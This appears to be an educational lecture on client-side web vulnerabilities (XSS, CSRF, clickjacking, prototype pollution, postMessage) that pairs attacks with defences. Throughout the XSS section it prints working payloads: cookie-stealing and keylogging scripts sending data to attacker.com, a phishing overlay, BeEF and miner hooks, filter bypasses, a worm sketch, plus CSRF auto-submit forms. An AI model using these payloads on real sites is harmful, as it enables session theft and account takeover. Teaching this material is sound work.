Client-Side Vulnerabilities
Client-side vulnerabilities exploit weaknesses in how web browsers and client-side code handle user input and external data. Unlike server-side vulnerabilities that execute on the server, client-side attacks execute in the victim's browser, potentially compromising the user's session, data, and interactions with the web application. This lecture covers the most critical client-side vulnerabilities and their mitigations.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is one of the most prevalent and dangerous web vulnerabilities. XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser with the same privileges as the legitimate application code.
Why XSS is Dangerous
Impact of XSS:
Session Hijacking: Steal session cookies and impersonate users
Credential Theft: Capture keystrokes, form inputs, passwords
Phishing: Display fake login forms or modify page content
Malware Distribution: Redirect to malicious sites or download malware
Defacement: Modify website appearance
Data Exfiltration: Access and steal sensitive information
Account Takeover: Change passwords, email addresses
Propagation: Create self-replicating XSS worms (stored XSS)
Cryptocurrency Mining: Use victim's CPU for mining
Complete Application Control: Execute any action the user can perform
Types of XSS
XSS vulnerabilities are classified into three main types based on how the payload is delivered and executed.
1. Reflected XSS (Non-Persistent)
Definition: The malicious script is embedded in the HTTP request (typically URL or form data) and immediately reflected back in the response without proper sanitization.
Characteristics:
Requires user interaction (clicking malicious link)
Payload not stored on server
Single request/response cycle
Also called Type-I or Non-Persistent XSS
Reflected XSS Example
Vulnerable Application:
<?php
// search.php
$query = $_GET['q'];
echo "<h1>Search results for: " . $query . "</h1>";
?>Normal Request:
https://example.com/search?q=security
Response: <h1>Search results for: security</h1>Malicious Request:
https://example.com/search?q=<script>alert(document.cookie)</script>
Response: <h1>Search results for: <script>alert(document.cookie)</script></h1>Attack Scenario:
Attacker crafts malicious URL:
https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Attacker sends URL to victim via:
Email phishing
Social media
Malicious website
SMS/messaging apps
Victim clicks link
Script executes in victim's browser
Cookie sent to attacker's server
URL Encoding to Evade Detection:
https://example.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3EAdvanced Reflected XSS Payloads
Basic Alert:
<script>alert(document.domain)</script>Cookie Exfiltration:
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>Image Tag (No Script Tags):
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">SVG Payload:
<svg onload="alert(1)">Iframe Injection:
<iframe src="javascript:alert(document.cookie)">2. Stored XSS (Persistent)
Definition: The malicious script is permanently stored on the server (database, file, logs, etc.) and executed whenever users access the affected page.
Characteristics:
Stored in application's database/storage
Executes automatically when page loads
No direct user interaction required
Most dangerous type of XSS
Also called Type-II or Persistent XSS
Can create XSS worms
Stored XSS Example
Vulnerable Comment System:
<?php
// Save comment
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Display comments
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo "<div class='comment'>" . $comment['text'] . "</div>";
}
?>Attack Scenario:
Attacker submits comment:
<script> // Steal cookies from all visitors fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, user: document.querySelector('.username')?.innerText }) }); </script>Comment stored in database
Every user viewing comments page executes the script
Attacker collects data from all victims
Stored XSS Attack Vectors
User Profiles:
Username: <img src=x onerror="alert(1)">
Bio: <svg onload="alert(document.domain)">
Website: javascript:alert(1)Forum Posts:
[b]Bold text[/b] <script>/* Malicious code */</script>File Uploads (SVG):
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full"
xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>Contact Forms:
Name: <img src=x onerror=alert(1)>
Message: Click <a href="javascript:void(fetch('//attacker.com/steal?c='+document.cookie))">here</a>Self-Replicating XSS Worm
Samy Worm (MySpace 2005) - Concept:
<script>
// Payload that adds attacker as friend and posts itself
var ajax = new XMLHttpRequest();
ajax.open('POST', '/addFriend', true);
ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
ajax.send('friend=attacker');
// Copy payload to victim's profile
var payload = document.getElementById('payload').innerHTML;
var profile = new XMLHttpRequest();
profile.open('POST', '/updateProfile', true);
profile.send('bio=' + encodeURIComponent(payload));
</script>3. DOM-Based XSS
Definition: The vulnerability exists in client-side JavaScript code that improperly handles user input, modifying the DOM without proper sanitization.
Characteristics:
Payload never sent to server
Executed entirely in browser
Server-side filters ineffective
Harder to detect with traditional tools
Sources: URL fragments, postMessage, localStorage
DOM XSS Sources (Input Points)
URL-Based Sources:
location.hreflocation.hash(#fragment)location.search(?query)document.URLdocument.documentURIdocument.referrer
Other Sources:
window.namepostMessagedatalocalStorage/sessionStorageIndexedDBWebSocketmessages
DOM XSS Sinks (Dangerous Functions)
Code Execution:
eval()Function()setTimeout()with string argumentsetInterval()with string argument
HTML Modification:
element.innerHTMLelement.outerHTMLdocument.write()document.writeln()
Attribute Modification:
element.srcelement.hrefelement.actionelement.formactionelement.srcdoc
jQuery Sinks:
$().html().append().after()
DOM XSS Examples
Example 1: innerHTML
// Vulnerable code
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;Attack:
<input id="search" value="<img src=x onerror=alert(1)>">Example 2: location.hash
// Vulnerable code
var name = location.hash.substring(1);
document.write('Welcome ' + name);Attack:
https://example.com/page#<img src=x onerror=alert(1)>Example 3: jQuery
// Vulnerable code
var input = location.hash.substring(1);
$('#content').html('Results: ' + input);Attack:
https://example.com/#<script>alert(1)</script>Example 4: Attribute Sink
// Vulnerable code
var url = location.hash.substring(1);
document.getElementById('link').href = url;Attack:
https://example.com/#javascript:alert(document.cookie)Advanced DOM XSS
Template Literals:
// Vulnerable
const name = location.hash.substring(1);
document.body.innerHTML = `<h1>Hello ${name}</h1>`;Prototype Pollution Leading to DOM XSS:
// Pollute prototype
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// Later in code (vulnerable if it reads from prototype)
someElement.innerHTML = config.template; // Uses polluted prototypeMutation XSS (mXSS)
Definition: XSS that exploits browser's HTML parser inconsistencies and mutation behavior, bypassing sanitization.
How It Works:
Input passes sanitization
Browser's parser mutates the HTML
Mutation creates valid XSS payload
Example:
<!-- Input (passes sanitizer) -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- After browser parsing (mXSS) -->
<noscript><p title=""></noscript><img src=x onerror=alert(1)>Another Example:
<!-- Input -->
<form><math><mtext></form><form><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- Browser mutation creates XSS -->Mitigation:
Use DOMPurify with safe parsing mode
Avoid innerHTML, use textContent
Implement strict CSP
XSS Filter Bypasses
1. Bypassing WAF/Filters
Case Manipulation:
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>HTML Encoding:
<img src=x onerror="alert(1)">JavaScript Encoding:
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">Hex Encoding:
<img src=x onerror="eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">Unicode Escapes:
<img src=x onerror="\u{61}\u{6c}\u{65}\u{72}\u{74}(1)">2. Bypassing Sanitization
Incomplete Tag Removal:
If filter removes <script>:
<scr<script>ipt>alert(1)</script>
<!-- After removal: <script>alert(1)</script> -->Event Handler Obfuscation:
<img src=x one
rror=alert(1)> <!-- Newline breaks detection -->
<img src=x onerror
=alert(1)>
<img/src=x/onerror=alert(1)>Alternative Tags:
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<iframe onload=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>Alternative Event Handlers:
<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onmouseover=alert(1)>
<img src=x onclick=alert(1)>
<img src=x onanimationstart=alert(1)>
<img src=x onanimationend=alert(1)>3. Context-Specific Bypasses
Inside Attribute:
" onload="alert(1)
' onload='alert(1)
`onload=`alert(1)Breaking Out of JavaScript String:
var search = 'USER_INPUT';
// Attack: '; alert(1); //
var search = ''; alert(1); //';Breaking Out of JavaScript Comment:
var search = 'USER_INPUT'; // Display results
// Attack:
// </script><script>alert(1)//4. Polyglot Payloads
Work in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eSimpler polyglot:
'"><img src=x onerror=alert(1)>XSS Exploitation Techniques
1. Cookie Theft
<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>With Image:
<script>
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
</script>2. Keylogger
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keys', {
method: 'POST',
body: e.key
});
};
</script>3. Phishing
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h1>Session Expired</h1>
<form action="https://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<button>Login</button>
</form>
</div>
`;
</script>4. BeEF Hook
Browser Exploitation Framework:
<script src="https://attacker.com/beef/hook.js"></script>Attacker gains:
Browser information
Plugin detection
Network scanning
Social engineering modules
Persistent access
5. Cryptocurrency Mining
<script src="https://attacker.com/miner.js"></script>
<script>
var miner = new CoinHive.Anonymous('site-key');
miner.start();
</script>XSS Prevention and Mitigation
1. Input Validation
Whitelist Approach:
// Only allow alphanumeric
function validateInput(input) {
return /^[a-zA-Z0-9]+$/.test(input);
}Sanitize HTML:
// Use DOMPurify
const clean = DOMPurify.sanitize(dirty);2. Output Encoding
HTML Context:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}JavaScript Context:
function encodeJS(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
}URL Context:
const encoded = encodeURIComponent(userInput);3. Use Safe APIs
Safe:
element.textContent = userInput; // Safe
element.setAttribute('data-value', userInput); // Safe (for data attributes)Unsafe:
element.innerHTML = userInput; // Dangerous!
element.outerHTML = userInput; // Dangerous!4. Content Security Policy (CSP)
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none';5. HTTPOnly Cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict6. Template Engines with Auto-Escaping
React (Auto-escapes):
<div>{userInput}</div> // Automatically escapedVue.js:
<div>{{ userInput }}</div> // Automatically escapedAngular:
<div>{{ userInput }}</div> // Automatically escaped7. Framework-Specific Protection
React - Dangerous innerHTML:
// Avoid this:
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Use this instead:
<div>{userInput}</div>Vue.js - v-html:
<!-- Avoid -->
<div v-html="userInput"></div>
<!-- Use -->
<div>{{ userInput }}</div>Cross-Site Request Forgery (CSRF)
Definition: CSRF tricks authenticated users into executing unwanted actions on a web application where they're authenticated. The attack abuses the browser's automatic inclusion of authentication credentials (cookies) with cross-origin requests.
How CSRF Works
Prerequisites for CSRF:
Relevant Action: Privileged action or state-changing operation
Cookie-Based Authentication: Application relies solely on cookies
No Unpredictable Parameters: Attacker can determine all request parameters
Attack Flow:
Victim authenticates to
vulnerable-bank.comBrowser stores session cookie
Victim visits attacker's site
evil.comAttacker's page makes request to
vulnerable-bank.comBrowser automatically includes session cookie
Request executes with victim's privileges
CSRF Attack Examples
Example 1: GET Request
Vulnerable Endpoint:
GET /transfer?to=attacker&amount=1000Attack:
<!-- On attacker's website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">When victim loads attacker's page, image tag triggers request with victim's cookies.
Example 2: POST Request (Auto-Submit Form)
Vulnerable Endpoint:
POST /transfer
to=recipient&amount=1000Attack:
<html>
<body>
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>Example 3: XMLHttpRequest
<script>
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'to=attacker&amount=1000'
});
</script>Example 4: Change Email (Account Takeover)
<form action="https://example.com/change-email" method="POST">
<input name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>After email changed, attacker requests password reset.
CSRF Defense Mechanisms
1. CSRF Tokens (Synchronizer Token Pattern)
Server-Side:
// Generate token
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// Verify token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}Client-Side:
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="<?= $csrf_token ?>">
<input name="to">
<input name="amount">
<button>Transfer</button>
</form>AJAX Requests:
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getTokenFromMeta()
},
body: JSON.stringify({to: 'recipient', amount: 1000})
});2. SameSite Cookies
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnlySameSite Values:
Strict: Never sent on cross-site requests
Set-Cookie: session=abc123; SameSite=Strict✅ Prevents all CSRF ❌ Breaks legitimate cross-site navigation
Lax (Default in modern browsers):
Set-Cookie: session=abc123; SameSite=Lax✅ Sent on top-level GET navigation (clicking links) ❌ Not sent on POST, iframe, AJAX ✅ Good balance between security and usability
None:
Set-Cookie: session=abc123; SameSite=None; Secure✅ Sent on all requests (requires Secure flag) ❌ No CSRF protection
3. Custom Headers
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-Custom-Header': 'value'
},
body: JSON.stringify(data)
});Server validates:
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
abort(403)Why This Works: Simple requests can be sent cross-origin, but custom headers trigger CORS preflight, which attacker cannot pass without CORS headers.
4. Double-Submit Cookie Pattern
// Set token in cookie and form
document.cookie = 'csrf_token=' + token;
<form>
<input type="hidden" name="csrf_token" value="TOKEN">
</form>Server validates:
if request.cookies['csrf_token'] != request.form['csrf_token']:
abort(403)5. Referer/Origin Validation
allowed_origins = ['https://example.com', 'https://app.example.com']
origin = request.headers.get('Origin') or request.headers.get('Referer')
if not any(origin.startswith(allowed) for allowed in allowed_origins):
abort(403)Limitations:
Users can disable Referer header
Can be bypassed with open redirects
Not recommended as sole defense
CSRF Bypass Techniques
1. Bypass SameSite=Lax
GET requests are allowed with SameSite=Lax:
<a href="https://bank.com/transfer?to=attacker&amount=1000">
Click for prize!
</a>Mitigation: Use POST for state-changing operations.
2. Token Leakage
If token appears in URL or Referer:
<a href="https://bank.com/transfer?csrf_token=abc123&to=victim">
<!-- If this leaks in Referer to attacker's site -->3. Token in Response
If token predictable or reusable:
// Fetch token first
fetch('https://bank.com/get-token')
.then(r => r.text())
.then(token => {
// Use stolen token
fetch('https://bank.com/transfer', {
method: 'POST',
body: 'csrf_token=' + token + '&to=attacker'
});
});Mitigation: Ensure CORS headers prevent cross-origin token reading.
4. Subdomain Takeover
If attacker controls subdomain:
// On evil.example.com (same-site!)
document.cookie = 'csrf_token=attacker_value; domain=.example.com';Mitigation: Don't use domain-wide cookies for CSRF tokens.
Clickjacking
Definition: Clickjacking tricks users into clicking on something different from what they perceive, potentially causing them to perform unintended actions.
How Clickjacking Works
Attacker overlays invisible iframe over deceptive content:
<html>
<head>
<style>
iframe {
position: absolute;
top: 100px;
left: 200px;
width: 500px;
height: 300px;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
}
button {
position: absolute;
top: 200px;
left: 350px;
z-index: 1;
}
</style>
</head>
<body>
<iframe src="https://bank.com/delete-account"></iframe>
<button>Click for FREE iPHONE!</button>
</body>
</html>User thinks they're clicking "Click for FREE iPHONE!" but actually clicking "Delete Account" button in invisible iframe.
Clickjacking Attack Scenarios
1. Like/Follow Jacking:
<iframe src="https://facebook.com/page/like"></iframe>
<div>Click to continue...</div>2. Credential Theft:
<!-- Overlay fake login over real login iframe -->
<iframe src="https://site.com/login"></iframe>3. Webcam/Microphone Permission:
<iframe src="https://site.com/request-permissions"></iframe>4. Drag-and-Drop:
<iframe src="data:text/html,<script>/* malicious */</script>"></iframe>
<!-- Trick user into dragging content into browser address bar -->Clickjacking Defenses
1. X-Frame-Options Header:
X-Frame-Options: DENYCannot be embedded in any frame.
X-Frame-Options: SAMEORIGINCan only be framed by same origin.
2. CSP frame-ancestors:
Content-Security-Policy: frame-ancestors 'none'Modern replacement for X-Frame-Options.
Content-Security-Policy: frame-ancestors 'self'Only same origin can frame.
Content-Security-Policy: frame-ancestors https://trusted.comSpecific origin can frame.
3. Frame-Busting JavaScript (Unreliable):
// Don't rely on this alone!
if (top !== self) {
top.location = self.location;
}Bypass:
<iframe sandbox="allow-forms allow-scripts" src="..."></iframe>Other Client-Side Vulnerabilities
DOM Clobbering
Definition: Exploiting browser's behavior of creating global variables for HTML elements with id or name attributes.
Example:
<form id="user">
<input name="admin" value="true">
</form>
<script>
// Attacker injects:
<a id="config" href="https://attacker.com/evil.js">
// Later in code:
if (config.admin) { // Reads from DOM, not expected object
// ...
}
// Or:
let script = document.createElement('script');
script.src = config.apiUrl; // Points to attacker's URL
document.body.appendChild(script);
</script>Mitigation:
Use
const/letfor variablesDon't rely on global scope
Validate types:
if (typeof config === 'object')
Prototype Pollution
Definition: Modifying JavaScript object prototypes, affecting all objects.
Example:
// Vulnerable merge function
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
return target;
}
// Attack payload
let payload = JSON.parse('{"__proto__": {"admin": true}}');
merge({}, payload);
// Now all objects have admin property
let user = {};
console.log(user.admin); // true!Client-Side Impact:
XSS via polluted properties
Authentication bypass
Security control bypass
Mitigation:
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
}WebSocket Vulnerabilities
Missing Origin Validation:
// Vulnerable server
wss.on('connection', function(ws) {
// No origin check!
ws.on('message', function(msg) {
processMessage(msg);
});
});Attack:
<!-- Attacker's page -->
<script>
let ws = new WebSocket('wss://vulnerable.com/socket');
ws.onopen = function() {
ws.send('{"action": "deleteAccount"}');
};
</script>Mitigation:
wss.on('connection', function(ws, req) {
const origin = req.headers.origin;
if (origin !== 'https://trusted.com') {
ws.close();
return;
}
// ...
});postMessage Vulnerabilities
Insecure Receiver:
// Vulnerable
window.addEventListener('message', function(e) {
// No origin check!
eval(e.data);
});Attack:
targetWindow.postMessage('alert(document.cookie)', '*');Secure Implementation:
window.addEventListener('message', function(e) {
// Validate origin
if (e.origin !== 'https://trusted.com') {
return;
}
// Validate data
if (typeof e.data !== 'string') {
return;
}
// Safe processing
processMessage(e.data);
});Key Takeaways
XSS remains one of the most critical web vulnerabilities
Three main types: Reflected, Stored, and DOM-based
Always encode output based on context
Use CSP and HTTPOnly cookies as defense-in-depth
CSRF requires both prevention mechanisms and secure coding
SameSite cookies provide strong CSRF protection
Clickjacking needs frame-ancestors CSP or X-Frame-Options
Modern JavaScript introduces new attack vectors (Prototype Pollution, DOM Clobbering)
WebSockets and postMessage require explicit origin validation
Defense requires multiple layers of protection
Resources
XSS
OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
DOMPurify: https://github.com/cure53/DOMPurify
Google XSS Game: https://xss-game.appspot.com/
CSRF
OWASP CSRF: https://owasp.org/www-community/attacks/csrf
PortSwigger CSRF: https://portswigger.net/web-security/csrf
SameSite Cookies: https://web.dev/samesite-cookies-explained/
Clickjacking
OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking
PortSwigger Clickjacking: https://portswigger.net/web-security/clickjacking
Advanced Topics
Prototype Pollution: https://portswigger.net/web-security/prototype-pollution
DOM Clobbering: https://portswigger.net/web-security/dom-based/dom-clobbering
PostMessage Security: https://portswigger.net/research/stealing-user-info-with-postmessage
Tools
Burp Suite: XSS and CSRF testing
OWASP ZAP: Automated scanning
XSStrike: Advanced XSS detection
CSP Evaluator: https://csp-evaluator.withgoogle.com/
BeEF: Browser Exploitation Framework
Last updated